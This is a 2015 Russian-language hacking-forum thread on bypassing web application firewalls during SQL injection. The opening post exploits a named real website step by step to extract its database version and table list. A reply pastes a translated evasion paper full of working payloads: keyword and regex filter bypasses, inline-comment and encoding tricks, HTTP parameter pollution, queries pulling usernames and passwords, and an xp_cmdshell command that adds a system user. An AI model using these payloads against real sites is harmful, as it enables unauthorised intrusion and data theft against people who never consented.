HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.05.2015, 03:28
Mister_Bert0ni
Guest
Сообщений: n/a
Провел на форуме:
35015

Репутация: 57
По умолчанию

Предисловие:

Добрый день люд хакерский) Решил начать постить свою серию постов "для нубиков таких как я" )

За рание хочу попросить извинение за ошибки в правописание русского языка.Уж так сложилось что школе у меня было печально с русским языком,и я не в России живу.Не работаю в области ИТ.Поэтому если увидете где то много ошибок - не кричите в своих коментах школота)А если вы адмим или модератор то лучше тихонечко исправте)

И так я не так давно начал увлекаться скулями и все чаще натыкаюсь на различные WAF(Web Application Firewall) и по этому иногда имею плохое настроения когда WAF не дает разкрутить скуль.

И вот собственно говоря решил запостит пару методов обхода таких неудобняков)

Содержание поста:

WAF ByPass (\N , e , {})

WAF ByPass

И так для демонстрации возмем какой то сайт и будем пробовать стандартные методы Waf ByPass


Код HTML:
HTML:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=78


Посчетаем столбцы.Как это делать писать не буду.Статей на ачате море.

И так у нас получилось 16 столбцов.

Пробуем сделать вывод командой Union Select

Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16
В ответ получаем:

"Not Acceptable! "

Обычно такую ошибку генерирует ModSecurity.

Как обойти ModSecurity?Обычно запрос типа:/*!50000union*/ /*!50000select*/ или union distinct|distinctrow select

Думаю стоит попробывать:

Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=-16 /*!50000union*/ distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16-- -
ModSecurity обходиться,но тут какой то другой WAF..

Давайте сделаем несколько тестов:

Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16 union
В ответ:

403

Union блокируется (

Пробуем так:

Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=16e0union
403

Попрежнему блочит.

Пробуем:

Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=aunion
Не блочит) Уже лучше)

Но как сделать что бы не было ошибки синтаксиса 1064?

Попробуем использовать \N

Пробуем:

Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
Вуаля)) Сработало) 10 столбец уязвим...

Попробуем посмотреть версию

Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16--
403

опять блочит(

Но в помощь нам прийдет еще одна хитрость, которую можно использовать в эксплуатации SQLi.

Это функция mysql которая називается TIMESTAMP

которая обычно определяет тип строки.Типо того что то:

Код:
Code:
SELECT TIMESTAMP 'str';
или так
SELECT { ts column};
И так пробуем в нашем запросе:

Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,16--
Опа) Вот и версия 5.5.40-36.1

Еще одна проблема которую мы попытаемся решить - это как получить таблицы?

Пробуем запрос

Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,16 from--
403

Waf блокирует from.

Существует метод обойти с помощью добавление точки к последнему столбцу и дальше пишем все без пробелов:

Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,.16from--
Обычно ModSecurity блочит information_schema.tables.Но мы же помним про TIMESTAMP

Пробуем:

http://blue-planet.gr/gallery_zoom.p...Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,.16from {f information_schema.tables}--

Эх..WAF блочит словосочитание "schema.tables"

Попробуем решить эту проблему.

Когда Вебсервер парсит запрос,он использует такой формат DB.Tables.Column

Сбалансируем запрос с помощью 'e'. В MySql

information_schema 9.e.tables = information_schema.tables

Код:
Code:
http://blue-planet.gr/gallery_zoom.php?Img_Cat_ID=\Nunion distinct select 1,2,3,4,5,6,7,8,9,{f version()},11,12,13,14,15,.16from {f information_schema 0.e.tables}--
ByPassed ))
 
Ответить с цитированием

  #2  
Старый 16.05.2015, 03:49
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

первое правило waf bypass - не говорить о waf bypass

Цитата:
Сообщение от Mister_Bert0ni  
Mister_Bert0ni said:

information_schema 9.e.tables = information_schema.tables
первый раз услышал. есть ссылка на доки?
 
Ответить с цитированием

  #3  
Старый 16.05.2015, 04:18
Mister_Bert0ni
Guest
Сообщений: n/a
Провел на форуме:
35015

Репутация: 57
По умолчанию

В лс кинул
 
Ответить с цитированием

  #4  
Старый 16.05.2015, 10:27
scr1m77
Guest
Сообщений: n/a
Провел на форуме:
283

Репутация: 2
По умолчанию

Автор, пиши еще . Добавь доки по последнему вектору
 
Ответить с цитированием

  #5  
Старый 16.05.2015, 12:28
faza02
Banned
Регистрация: 21.11.2007
Сообщений: 181
Провел на форуме:
1066435

Репутация: 1013
По умолчанию

Цитата:
Сообщение от ..::TROYAN::..  
..::TROYAN::.. said:

интересно...а на sweb получится докрутить ? там можно смотреть user(),version() , но как только запрос в таблицу то блочит запрос, пробовал сделать как в статье , чтото не получилось
на sweb когда-то обходилось все POST запросом, сейчас не знаю
 
Ответить с цитированием

  #6  
Старый 16.05.2015, 14:02
frank
Guest
Сообщений: n/a
Провел на форуме:
56887

Репутация: 28
По умолчанию

Хм, проверил у себя на модсек. Ловит, видимо зависит от сборки ядра и правил, ну или от того какие правила включены , какие нет. Кинь и мне, если не трудно линк на других, спасибо
 
Ответить с цитированием

  #7  
Старый 18.05.2015, 02:22
nopony
Guest
Сообщений: n/a
Провел на форуме:
1814

Репутация: 8
По умолчанию

Мне бы тоже ссылочку на доки,если можно
 
Ответить с цитированием

  #8  
Старый 18.05.2015, 13:45
BabaDook
Guest
Сообщений: n/a
Провел на форуме:
238786

Репутация: 40
По умолчанию

А ты злодей, мне тоже вконтакт кинь документацию. Кстати, помнишь мы тоже пытались получить доступ к information_schema. Надо попробовать

Я ещё немного добавлю статью

копипаст с exploitdb . Переводчик гугл

Добро пожаловать, читатель. То, что ты видишь – результат долгих попыток документирования продвинутых техник эксплуатации SQL-инъекций, над которыми мы работали. Здесь будут показаны продвинутые техники обхода фильтров и обфускации, многие из которых могут быть применимы к реальным CMS и WAF. Предложенные в данном документе примеры SQL-инъекций – лишь некоторые из путей обхода защиты. Существуют и другие техники, которые могут быть использованы при атаке веб-приложений, но, к сожалению, мы не можем раскрыть их здесь, поскольку они используют уязвимости «нулевого дня». Тем не менее, цель данного документа – показать, что в реальном мире ни одна система не является абсолютно защищенной. Даже если ее охраняет WAF за 300 тысяч долларов.

Документ разделен на 7 разделов, но техническая информация содержится только в разделах с 0x01 по 0x03.

В разделе 0x01 мы опишем подробности обхода фильтров, включая фильтры функций и ключевых слов. В разделе 0x02 мы предлагаем обычные техники обхода коммерческих и свободных WAF. В разделе 0x03 мы тщательно обсудим продвинутые техники обхода, которые разбиваются на два подраздела: "HTTP Parameter Contamination" и "HTTP Pollution: Разделяй и соединяй". В разделе 0x04 мы укажем решения, направленные на защиту вашего сайта. Последний, 0x05, раздел - заключение по материалу, данному в предыдущих разделах.

[0x01] - Filter Evasion (Mysql)

В этом разделе будут описаны поведения filter evasion основанные на PHP и MySQL и то, как обойти фильтрацию. Filter evasion – техника, используемая для предотвращения атак типа SQL-инъекция. Она может осуществляться путем использования фильтрации функций SQL, ключевых слов или регулярных выражений. Это означает, что filter evasion сильно зависит от того, в каком виде хранится черный список или регулярные выражения. Если черный список или регулярное выражение не покрывают всевозможные сценарии инъекций, то веб-приложение по-прежнему уязвимо к SQL-инъекциям.

[0x01a] - Обход фильтрации функций и ключевых слов

Фильтрация функций и ключевых слов оберегает веб-приложения от атак c помощью черного списка функций и ключевых слов. Если атакующий посылает код инъекции, содержащий функцию или ключевое слово из черного списка, то инъекция потерпит неудачу. Тем не менее, если атакующий имеет возможность изменить инъекцию, использовав иную функцию или ключевое слово, то черный список не сможет предотвратить атаку. Чтобы предотвращать атаки, черный список должен содержать много функций и ключевых слов. Однако, это мешает легальным пользователям посылать запросы, содержащие запретные слова. Они просто будут отфильтрованы по черному списку. Следующие сценарии показывают примеры использования фильтрации ключевых слов и функций, а также техники обхода фильтрации.

Фильтруемые ключевые слова: and, or

----------------------------------------------------------------------

код PHP-фильтра: preg_match('/(and|or)/i',

$id)

Ключевые слова and и or обычно используются как простой тест на уязвимость веб-приложения к SQL-инъекциям.

Далее показан простой обход правила с использованием && и || вместо and и or.

Отфильтрованная инъекция: 1 or 1 = 1 1 and 1 = 1

Пропущенная инъекция: 1 || 1 = 1 1 && 1 = 1

----------------------------------------------------------------------

Фильтруемые ключевые слова: and, or, union

----------------------------------------------------------------------

код PHP-фильтра:

preg_match('/(and|or|union)/i', $id)

Ключевое слово union обычно используется для создания вредоносной инструкции, чтобы выбрать из базы дополнительные данные.

Отфильтрованная инъекция: union select user, password from users

Пропущенная инъекция: 1 || (select user from users where user_id = 1) = 'admin'

** Примечание: вы должны знать имя таблицы, столбца и какие-нибудь данные из этой таблицы, иначе вам придется получить эту информацию

из таблицы information_schema.columns, используя другой оператор (например, функцию substring, чтобы получить имя таблицы посимвольно)

----------------------------------------------------------------------

Фильтруемые ключевые слова: and, or, union, where

----------------------------------------------------------------------

код PHP-фильтра:

preg_match('/(and|or|union|where)/i', $id)

Отфильтрованная инъекция: 1 || (select user from users where user_id = 1) = 'admin'

Пропущенная инъекция: 1 || (select user from users limit 1) = 'admin'

----------------------------------------------------------------------

Фильтруемые ключевые слова: and, or, union, where, limit

----------------------------------------------------------------------

код PHP-фильтра:

preg_match('/(and|or|union|where|limit)/i', $id)

Отфильтрованная инъекция: 1 || (select user from users limit 1) = 'admin'

Пропущенная инъекция: 1 || (select user from users group by user_id having user_id = 1) = 'admin'

----------------------------------------------------------------------

Фильтруемые ключевые слова: and, or, union, where, limit, group by

----------------------------------------------------------------------

код PHP-фильтра:

preg_match('/(and|or|union|where|limit|group by)/i', $id)

Отфильтрованная инъекция: 1 || (select user from users group

by user_id having user_id = 1) = 'admin'

Пропущенная инъекция: 1 || (select

substr(gruop_concat(user_id),1,1) user from users ) = 1

----------------------------------------------------------------------

Фильтруемые ключевые слова: and, or, union, where, limit, group by, select

----------------------------------------------------------------------

код PHP-фильтра:

preg_match('/(and|or|union|where|limit|group by|select)/i', $id)

Отфильтрованная инъекция: 1 || (select

substr(gruop_concat(user_id),1,1) user from users) = 1

Пропущенная инъекция: 1 || 1 = 1 into outfile 'result.txt'

Пропущенная инъекция: 1 || substr(user,1,1) = 'a'

----------------------------------------------------------------------

Фильтруемые ключевые слова: and, or, union, where, limit, group by,

select, '

----------------------------------------------------------------------

код PHP-фильтра:

preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)

Отфильтрованная инъекция: 1 || (select

substr(gruop_concat(user_id),1,1) user from users) = 1

Пропущенная инъекция: 1 || user_id is not null

Пропущенная инъекция: 1 || substr(user,1,1) = 0x61

Пропущенная инъекция: 1 || substr(user,1,1) = unhex(61)

----------------------------------------------------------------------

Фильтруемые ключевые слова: and, or, union, where, limit, group by,

select, ', hex

----------------------------------------------------------------------

код PHP-фильтра:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)

Отфильтрованная инъекция: 1 || substr(user,1,1) = unhex(61)

Пропущенная инъекция: 1 || substr(user,1,1) =

lower(conv(11,10,36))

----------------------------------------------------------------------

Фильтруемые ключевые слова: and, or, union, where, limit, group by,

select, ', hex, substr

----------------------------------------------------------------------

код PHP-фильтра:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)

Отфильтрованная инъекция: 1 || substr(user,1,1) =

lower(conv(11,10,36))

Пропущенная инъекция: 1 || lpad(user,7,1)

----------------------------------------------------------------------

Фильтруемые ключевые слова: and, or, union, where, limit, group by,

select, ', hex, substr, white space

----------------------------------------------------------------------

код PHP-фильтра:

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)

Отфильтрованная инъекция: 1 || lpad(user,7,1)

Пропущенная инъекция: 1%0b||%0blpad(user,7,1)

----------------------------------------------------------------------

Из приведенных выше примеров видно, что существует сразу несколько SQL-выражений, позволяющих обойти черный список, хотя он содержит довольно много функций и ключевых слов. Более того, данный черный список можно обойти огромным количеством SQL-выражений, не попавших в примеры.

Увеличение объема черного списка - не лучшая идея для защиты вашего сайта. Помните, чем больше функций и ключевых слов фильтруются, тем сайт менее удобен для пользователей.

[0x01b] – Обход фильтрации по регулярным выражениям

Фильтрация по регулярным выражениям – более совершенное решение для предотвращения SQL-инъекций, чем фильтрация функций и ключевых слов. Она использует проверку соответствия шаблонам (а не отдельным словам) для обнаружения атаки. Запросы легальных пользователей обрабатываются при этом более гибко.

Тем не менее, регулярные выражения тоже можно обойти. Следующие примеры иллюстрируют скрипты инъекций, используемые для обхода регулярных выражений в PHPIDS 0.6 (свободно распространяемой системе обнаружения вторжений для веб-приложений).

PHPIDS обычно блокирует запросы, содержащие = или ( или ', за которыми следует любая строка или целое число. Однако, это можно обойти, используя выражение, не содержащее симолов =, ( и '.

---------------------------------------------------------------

Отфильтрованная инъекция: 1 or 1 = 1

Пропущенная инъекция: 1 or 1

[End Code]-----------------------------------------------------------

---------------------------------------------------------------

Отфильтрованная инъекция: 1 union select 1, table_name from

information_schema.tables where table_name = 'users'

Отфильтрованная инъекция: 1 union select 1, table_name from

information_schema.tables where table_name between 'a' and 'z'

Отфильтрованная инъекция: 1 union select 1, table_name from

information_schema.tables where table_name between char(97) and char(122)

Пропущенная инъекция: 1 union select 1, table_name from

information_schema.tables where table_name between 0x61 and 0x7a

Пропущенная инъекция: 1 union select 1, table_name from

information_schema.tables where table_name like 0x7573657273

[End Code]-----------------------------------------------------------

[0x02] - Обычные техники обхода

В этом разделе упоминаются техники WAF. Прежде всего вам нужно узнать, что такое WAF.

Файрвол Веб-Приложений (WAF) – это программно-аппаратный комплекс, плагин сервера или фильтр, который применяет набор правил к HTTP-диалогу. Обычно эти правила покрывают распространенные атаки вроде межсайтового скриптинга (XSS) или SQL-инъекции. Адаптация правил WAF к вашим приложениям позволит обнаружить и блокировать множество атак. Однако, адаптация правил может потребовать значительных усилий и должна возобновляться после внесения изменений в приложение.

WAF часто называют «Файрволы с глубоким исследованием пакетов», так как они просматривают каждый запрос и ответ для протоколов HTTP/HTTPS/SOAP/XML-RPC. Некоторые современные WAF-системы обнаруживают атаки как по сигнатурам, так и по отклонениям в поведении.

Теперь давайте поймем, как пробиться через WAF с помощью обфускации. Все WAF можно обойти, поняв со временем их правила, или используя свое воображение!

1. Обход с помощью комментариев

SQL-комментарии позволяют нам обходить множество фильтров и WAF.

---------------------------------------------------------------

http://victim.com/news.php?id=1+un/*...*/lect+1,2,3--

[End Code]-----------------------------------------------------------

2. Изменение регистра букв

Некоторые WAF фильтруют ключевые слова записанные только в нижнем регистре

Фильтр регулярных выражений: /union\sselect/g

---------------------------------------------------------------

http://victim.com/news.php?id=1+UnIo...ecT/**/1,2,3--

[End Code]-----------------------------------------------------------

3. Замещение ключевых слов

Некоторые приложения и WAF используют preg_replace, чтобы убрать из запроса все ключевые слова SQL. Это можно легко обойти.

---------------------------------------------------------------

http://victim.com/news.php?id=1+UNun...ctLECT+1,2,3--

[End Code]-----------------------------------------------------------

В некоторых случаях ключевые слова SQL отфильтровываются и заменяются пробелами. Это можно обойти, используя "%0b".

---------------------------------------------------------------

http://victim.com/news.php?id=1+uni on+se lect+1,2,3--

[End Code]-----------------------------------------------------------

В случае Mod_rewrite, обход с помощью комментариев "/**/" невозможен. Так что мы используем "%0b" вместо "/**/".

Запрещено: http://victim.com/main/news/id/1/**/||/**

/lpad(first_name,7,1).html

Пропущено: http://victim.com/main/news/id/1 || lpad(first_name,7,1).html

4. Кодировка символов

Большинство CMS и WAF декодируют, а затем отфильтровывают/пропускают переданные

приложению данные.

Однако некоторые WAF декодируют данные лишь единожды, так что двойное кодирование

может обойти определенные фильтры:

WAF декодирует данные один раз перед фильтрацией, в то время как приложение

продолжит декодирование при обработке SQL-запроса.

------------------------------------------------------------------------------

http://victim.com/news.php?id=1%2f%2a*/union%2f%2a

/select%252f%252a*/1,2,3%252f%252a*/from%252f%252a*/users--

[EndCode]-------------------------------------------------------------------------------

Кроме того, комбинация этих приемов позволяет обходить Citrix Netscaler:

- Удалите все пустые (NULL) слова

- Используйте кодирование запроса в некоторых местах

- Избавьтесь от символа одинарной кавычки "'"

- И развлекайтесь!

Информацию предоставил: Wendel Guglielmetti Henrique

Armorlogic Profense до версии 2.4.4 мог быть обойден URL-кодированием символа новой строки.

#Примеры из реального мира

1. NukeSentinel (Nuke Evolution)

[Nukesentinel.php

Code]------------------------------------------------------------

// Check for UNION attack

// Copyright 2004(c) Raven PHP Scripts

$blocker_row = $blocker_array[1];

if($blocker_row['activate'] > 0) {

if (stristr($nsnst_const['query_string'],'+union+') OR \

stristr($nsnst_const['query_string'],'%20union%20') OR \

stristr($nsnst_const['query_string'],'*/union/*') OR \

stristr($nsnst_const['query_string'],' union ') OR \

stristr($nsnst_const['query_string_base64'],'+union+') OR \

stristr($nsnst_const['query_string_base64'],'%20union%20') OR \

stristr($nsnst_const['query_string_base64'],'*/union/*') OR \

stristr($nsnst_const['query_string_base64'],' union ')) { //

block_ip($blocker_row);

die("BLOCK IP 1 " );

}

}

[End Code]-------------------------------------------------------------------------

Мы можем обойти их фильтрацию с помощью такого скрипта:

Запрещено: http://victim.com/php-nuke/?/**/union/**/select…..

Пропущено: http://victim.com/php-nuke/?/**/union/**/select…

Пропущено: http://victim.com/php-nuke/?/**/union/**/select…

2. Mod Security CRS (Предоставил: Johannes Dahse)

[SecRule]--------------------------------------------------------------------------

SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bunion\b.{1,100}?

\bselect\b" \ "phase2,rev:'2.2.1',capture,t:none,

t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:re placeComments,

t:compressWhiteSpace,ctl:auditLogParts=+E,block,

msg:'SQL Injection

Attack',id:'959047',tag:'WEB_ATTACK

/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',

tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%

{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',

setvar:tx.sql_injection_score=+%

{tx.critical_anomaly_score},setvar:tx.anomaly_scor e=+%{tx.critical_anomaly_score},

setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"

[End Rule]-------------------------------------------------------------------------

Следующий код позволяет обойти их фильтр:

------------------------------------------------------------------------------

http://victim.com/news.php?id=0+div+1+union#foo*/*bar
select#foo


%0D%0A1%2C2%2Ccurrent_user

[End Code]--------------------------------------------------------------------------

Эта атака позволяет обойти правило фильтрации Mod Security. Давайте посмотрим, что происходит!

MySQL Server поддерживает 3 вида комментариев:

- От символа "#" до конца строки

- От последовательности "--" до конца строки

- Си-подобный: между "/*" и "*/".

Такой синтаксис (си-подобный) позволяет комментарию растягиваться на несколько

строк, так как открывающая и закрывающая последовательности

не обязаны лежать в одной строке. В следующем примере мы использовали

последовательность "%0D%0A" в качестве символов новой строки.

Давайте рассмотрим первый запрос (выявляющий имя пользователя БД). Результирующий (декодированный) SQL-код выглядит примерно так:

0 div 1 union#foo*/*/bar

select#foo

1,2,current_user

А в итоге (учитывая комментарии) MySQL DB выполняет такой код:

0 div 1 union select 1,2,current_user

5. Переполнение буфера.

WAF, написанный на языке Си, потенциально уязвим к переполнению и может вести себя

нетипично при больших объемах передаваемых данных.

Передача большого объема данных позволяет нашему коду выполниться.

------------------------------------------------------------------------------

http://victim.com/news.php?id=1+and+(select 1)=(select

0x414141414141441414141414114141414141414141414141 414141

414141414141….)+union+select+1,2,version(),datab ase(),user(),6,7,8,9,10--

[End Code]--------------------------------------------------------------------------

6. Встроенные комментарии (Только Mysql)

Согласно справочному руководству по MySQL 5.0, MySQL Server поддерживает некоторые

особые варианты Cи-подобных комментариев.

Использование комментария следующего вида позволяет писать переносимый код,

включающий расширения, специфичные для MySQL:

/*! Код, специфичный для MySQL */

MySQL Server разберет и выполнит код, заключенный в такой комментарий, как любое

другое SQL-выражение, но остальные SQL-серверы его проигнорируют.

Множество WAF фильтрует ключевые слова SQL примерно так: /union\sselect\ig Мы можем

обойти этот фильтр, используя встроенные комментарии.

------------------------------------------------------------------------------

http://victim.com/news.php?id=1/*!UnIoN*/SeLecT+1,2,3--

[End Code]--------------------------------------------------------------------------

Встроенные комментарии могут быть использованы в любом месте SQL выражения.

Так что, если table_name или information_schema фильтруются, мы можем использовать

больше встроенных комментариев.

------------------------------------------------------------------------------

http://victim.com/news.php?id=/*!UnIoN*/+/*!SeLecT*

/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables

/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--

[End Code]--------------------------------------------------------------------------

В недавнем тесте на проникновение мы смогли обойти Mod Security CRS и PentaSecurity-

WAPPLE, используя эту технику. Подробнее смотри ниже:

################################################## ##############################

Производитель: Penta Security System

Продукт: Wapple Web Application Firewall

Патч выпущен: 2011-10-02 (In SQL Injection Custom Policy Mode)

Дата релиза: 2011-10-04

Информацию предоставили: Prathan Phongthiproek and Suphot Boonchamnan

Эти скрипты могут [обойти] все правила фильтрации SQL-инъекций:

1 ||1=1

1 /*!order by*/ 3

1 /*!union select*/ 1,table_name from /*!information_schema.tables*/

1 /*!union select*/ 1,column_name from /*!information_schema.columns where table_name = 0x7573657273*/

1 /*!union select*/ /*!user,password*/ from /*!users*/

################################################## ###################################

[0x03] – Продвинутые техники обхода

В этом разделе мы предлагаем 2 техники: "HTTP Pollution: Разделяй и соединяй" и "HTTP Parameter Contamination". Эти техники позволяют обходить множество открытых и коммерческих WAF.

[0x03a] - HTTP Parameter Pollution1: Разделяй и соединяй

HTTP Pollution – это новый класс уязвимостей к инъекции, описанный Luca Carettoni и Stefano Di Paola. HPP - очень простой но эффективный прием взлома. HPP атаки можно определить как возможность замещения или добавления GET/POST параметров через инъекцию в строке запроса.

Пример HPP: "http://victim.com/search.aspx?par1=val1&par1=val2"

Обработка HTTP параметров: (пример)

Веб-сервер Интерпретация параметров Пример

ASP.NET/IIS Склеивание через запятую par1=val1,val2

ASP/IIS Склеивание через запятую par1=val1,val2

PHP/Apache Результат – последнее значение par1=val2

JSP/Tomcat Результат – первое значение par1=val1

Perl/Apache Результат – первое значение par1=val1

DBMan Склеивание через две тильды par1=val1~~val2

Что случится с WAF, которые разбирают строку запроса перед применением фильтров? (HPP может использоваться даже для обхода WAF). Некоторые бестолковые WAF могут анализировать и проверять только одно вхождение параметра (первое или последнее). Всякий раз, когда соответствующая среда склеивает множественные вхождения параметра (ASP, ASP.NET, DBMan,…), атакующий может разделить вредоносный код.

В недавнем тесте на проникновение (опять) нам удалось обойти Imperva SecureSphere используя "HPP+встроенный комментарий" в среде ASP/ASP.NET. С помощью этого приема можно обходить и коммерческие WAF. Более подробная информация указана ниже:

#Примеры из реального мира:

1. Mod Security CRS (Предоставил: Lavakumar Kuppan)

The following request matches against the ModSecurity CRS as a SQL Injection attack and is blocked.

Следующий запрос ModSecurity CRS считает атакой типа SQL-инъекция, и потому

блокирует.

Запрещено: http://victim.com/search.aspx?q=select name,password from users

Когда тот же код разделяется на несколько параметров с одинаковыми именами,

ModSecurity его не блокирует.

Пропущено: http://victim.com/search.aspx?q=select name&q=password from users

Посмотрим, что происходит. Вот интерпретация ModSecurity:

q=select name

q=password from users

А вот интерпретация ASP/ASP.NET:

q=select name,password from users

*Замечание: подобную атаку можно провести и с POST-переменными.

2. Коммерческие WAF

Запрещено: http://victim.com/search.aspx?q=select name,password from users

Теперь используем HPP+встроенный комментарий для обхода.

Пропущено: http://victim.com/search.aspx?q=select/*&q=*/name&

amp;q=password/*&q=*/from/*&q=*/users

Проанализируем. Вот интерпретация WAF:

q=select/*

q=*/name

q=password/*

q=*/from/*

q=*/users

Вот интерпретация ASP/ASP.NET:

q=select/*,*/name,password/*,*/from/*,*/users

q=select name,password from users

3. IBM Web Application Firewall (Предоставил: Wendel Guglielmetti Henrique of

Trustwave's SpiderLabs)

Запрещено: http://victim.com/news.aspx?id=1'; EXEC master..xp_cmdshell

“net user zeq3ul UrWaFisShiT /add” --

Снова используем HPP+встроенный комментарий для обхода.

Пропущено: http://victim.com/news.aspx?id=1'; /*&id=1*/ EXEC

/*&id=1*/ master..xp_cmdshell /*&id=1*/ “net user lucifer

UrWaFisShiT” /*&id=1*/ --

Проанализируем. Вот интерпретация WAF:

id=1’; /*

id=1*/ EXEC /*

id=1*/ master..xp_cmdshell /*

id=1*/ “net user zeq3ul UrWaFisShiT” /*

id=1*/ --

Вот интерпретация ASP/ASP.NET:

id=1’; /*,1*/ EXEC /*,1*/ master..xp_cmdshell /*,1*/ “net user

zeq3ul UrWaFisShiT” /*,1*/ --

id=1’; EXEC master..xp_cmdshell “net user zeq3ul

UrWaFisShiT” --

Проще всего справиться с этой атакой WAF может, запретив множественные вхождения параметра в одном HTTP-запросе. Это предотвратит все разновидности данной атаки.

Однако, такой запрет может оказаться невозможным в случаях, когда защищаемому приложению необходима возможность множественных вхождений параметров. В этом случае WAF должен интерпретировать HTTP-запрос так же, как это сделало бы приложение.

[0x03b] - HTTP Parameter Contamination

В основе HTTP Parameter Contamination (HPC) лежит инновационный подход, найденный в ходе более глубокого исследования HPP и использования странного поведения компонентов веб-серверов, веб-приложений и браузеров в результате замусоривания параметров строки запроса зарезервированными или не ожидаемыми символами.

Некоторые факты:

Термин «строка запроса» обычно относится к части URI, находящейся между "?" и концом URI.

В RFC 3986 «строка запроса» определяется как последовательность пар поле-значение.

Пары разделяются симолами "&" или ";"

RFC 2396 определяет следующие классы символов:

Незарезервированные: a-z, A-Z, 0-9 and _ . ! ~ * ' ()

Зарезервированные: ; / ? : @ & = + $ ,

Нецелесообразные2: { } | \ ^ [ ] `

Разные веб-сервера по-разному обрабатывают специально сформированные запросы. Можно назвать больше комбинаций серверов, движков и специальных символов, но для примера в этот раз нам хватит.

Строка запроса и ответ веб-сервера (Пример)

Строка запроса Ответ веб-сервера / GET значения

Apache/2.2.16, PHP/5.3.3 IIS6/ASP

?test[1=2 test_1=2 test[1=2

?test=% test=% test=

?test%00=1 test=1 test=1

?test=1%001 NULL test=1

?test+d=1+2 test_d=1 2 test d=1 2

Магическое влияние символа "%" на ASP/ASP.NET

Ключевые слова WAF ASP/ASP.NET

sele%ct * fr%om.. sele%ct * fr%om.. select * from..

;dr%op ta%ble xxx ;dr%op ta%ble xxx ;drop table xxx



#Примеры из реального мира:

1. Обход правила обнаружения SQL-инекции в Mod_Security

(modsecurity_crs_41_sql_injection_attacks.conf)

[Filtered]-----------------------------------------------------------------------------

[Sun Jun 12 12:30:16 2011] [error] [client 192.168.2.102] ModSecurity:

Access denied with code 403 (phase 2). Pattern match "\\bsys\\.user_objects\\b"

at ARGS_NAMES:sys.user_objects. [file "/etc/apache2/conf.d

/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line

"110"] [id "959519"]

[rev "2.2.0"] [msg "Blind SQL Injection Attack"]

[data "sys.user_objects"] [severity "CRITICAL"] [tag

"WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"]

[tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"]

[tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"]

[unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"]

[End Code]------------------------------------------------------------------------------

Запрещено: http://localhost/?xp_cmdshell

Пропущено: http://localhost/?xp[cmdshell

2. Обход правила URLScan 3.1 DenyQueryStringSequences

Запрещено: http://localhost/test.asp?file=../bla.txt

Пропущено: http://localhost/test.asp?file=.%./bla.txt

3. Обход AQTRONIX Webknight (WAF для IIS и ASP/ASP.Net)

Запрещено: http://victim.com/news.asp?id=10 and 1=0/(select top 1

table_name from information_schema.tables)

Пропущено: http://victim.com/news.asp?id=10 a%nd 1=0/(se%lect top 1

ta%ble_name fr%om info%rmation_schema.tables)

Отсюда видно, что Webknight использует фильтрацию по ключевым словам. Но мы используем "HTTP contamination", вставляя "%" в ключевые слова SQL, которые WAF пропускает. В результате он пересылает на веб-сервер следующую команду:

id=10 and 1=0/(select top 1 table_name from information_schema.tables) поскольку "%" является символом-пустышкой для ASP/ASP.Net.

Техники взлома подобного вида всегда интересны, поскольку открывают новые перспективы для исследований проблем безопасности. Множество приложений оказываются уязвимыми к подобным атакам, поскольку для причуд веб-серверов не существует строгих правил.

HPC можно использовать, чтобы расширить HPP-атаку на платформе IIS/ASP, скрывая настоящее имя параметра в строке запроса с помощью символа "%", если WAF блокирует HPP.
